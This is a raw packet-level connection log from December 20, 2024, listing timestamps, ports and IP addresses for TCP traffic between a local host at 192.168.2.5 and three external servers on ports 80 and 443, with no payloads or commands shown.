Dec 20, 2024 13:12:15.722412109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.722563982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.722611904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.723171949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.723289013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.723339081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.724025965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.724083900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.724936962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.724946976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.724987984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.725001097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.725064039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.725760937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.725773096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.725814104 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.726560116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.726610899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.726675987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.726727009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.727411985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.727461100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.727493048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.727541924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.728286028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.728337049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.728882074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.728935003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.729140043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.729190111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.729899883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.729909897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.729953051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.730300903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.730350971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.730678082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.730729103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.730845928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.730895996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.731535912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.731589079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.731762886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.731812000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.732484102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.732542038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.733055115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.733105898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.733253002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.733264923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.733306885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.734016895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.734076023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.734180927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.734235048 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.734901905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.734955072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.735239983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.735306025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.735728979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.735739946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.735783100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.736587048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.736639977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.736670971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.736721039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.737402916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.737452030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.738230944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.738282919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.738286018 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.738297939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.738334894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.739022970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.739073992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.739190102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.739239931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.739876986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.739927053 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.739967108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.740016937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.740726948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.740782976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.740863085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.740911007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.741564989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.741616011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.741785049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.741837025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.742449045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.742499113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.742527962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.742575884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.743204117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.743253946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.744122982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.744137049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.744174957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.744609118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.744657993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.745071888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.745122910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.745506048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.745570898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.745856047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.745867968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.745908976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.746587992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.746639013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.747059107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.747108936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.747443914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.747493982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.747526884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.747575998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.748349905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.748402119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.748701096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.748750925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.749222994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.749233007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.749274015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.749937057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.749989033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.750164986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.750216007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.750875950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.750886917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.750929117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.751616001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.751672029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.752079010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.752134085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.752424955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.752474070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.752651930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.752700090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.753298998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.753350019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.754132986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.754144907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.754169941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.754187107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.754224062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.754954100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.755006075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.755139112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.755187988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.755798101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.755897999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.756059885 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.756134033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.756654978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.756705046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.757123947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.757190943 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.757519960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.757566929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.757687092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.757874966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.758373976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.758424044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.758701086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.758752108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.908102989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.908199072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.908379078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.908406019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.908463001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.908536911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.908590078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.909321070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.909373999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.909461975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.909513950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.910173893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.910284042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.910336018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.911015987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.911071062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.911480904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.911535978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.911766052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.911818981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.912516117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.912569046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.912714958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.912727118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.912775993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.913472891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.914169073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.914171934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.914228916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.914388895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.914401054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.914448977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.915298939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.915311098 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.915370941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.916069984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.916126013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.916538954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.916588068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.916852951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.916903019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.917048931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.917102098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.917803049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.917814970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.917869091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.918472052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.918792009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.918827057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.918853045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.919351101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.919564009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.919617891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.920105934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.920157909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.920392036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.920445919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.921050072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.921101093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.921592951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.921659946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.921835899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.921848059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.921894073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.922679901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.922799110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.923480988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.923494101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.923533916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.923537970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.924407959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.924421072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.924465895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.925136089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.925280094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.925332069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.925976992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.926194906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.926244020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.926837921 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.926888943 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.927357912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.927412033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.927746058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.927758932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.927798986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.928489923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.928669930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.929070950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.929131985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.929423094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.929435015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.929477930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.930139065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.930193901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.930255890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.930308104 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.931025028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.931077003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.931154966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.931224108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.931814909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.932673931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.932686090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.932697058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.932748079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.932789087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.933470011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.933949947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.934026003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.934354067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.934412003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.934473038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.934530973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.935230970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.935777903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.935831070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.936008930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.936064005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:18.386137962 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:18.386492014 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:18.474630117 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:18.474653959 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:18.474742889 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:18.476793051 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:18.476803064 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:18.506160021 CET	80	49826	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:18.506170988 CET	80	49853	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:18.506227016 CET	49826	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:18.506261110 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:18.507740974 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:18.627444029 CET	80	49853	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:19.696162939 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:19.696302891 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:19.713543892 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:19.713563919 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:19.713841915 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:19.757745981 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:19.778518915 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:19.778568983 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:19.778588057 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:19.842369080 CET	80	49853	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:19.842502117 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:19.845896006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:19.846311092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:19.966022968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:19.966038942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:19.966214895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:19.966214895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:19.966562033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:20.086393118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:20.448417902 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:20.448515892 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:20.448601961 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.476727962 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.476752996 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:20.476772070 CET	49854	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.476777077 CET	443	49854	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:20.601035118 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.601102114 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:20.601188898 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.601593018 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:20.601627111 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:21.293360949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293389082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293395996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293442965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293462038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293514967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.293612003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.293612003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.293612003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.295705080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.295742035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.295754910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.295761108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.295800924 CET	80	49859	31.41.244.11	192.168.2.5
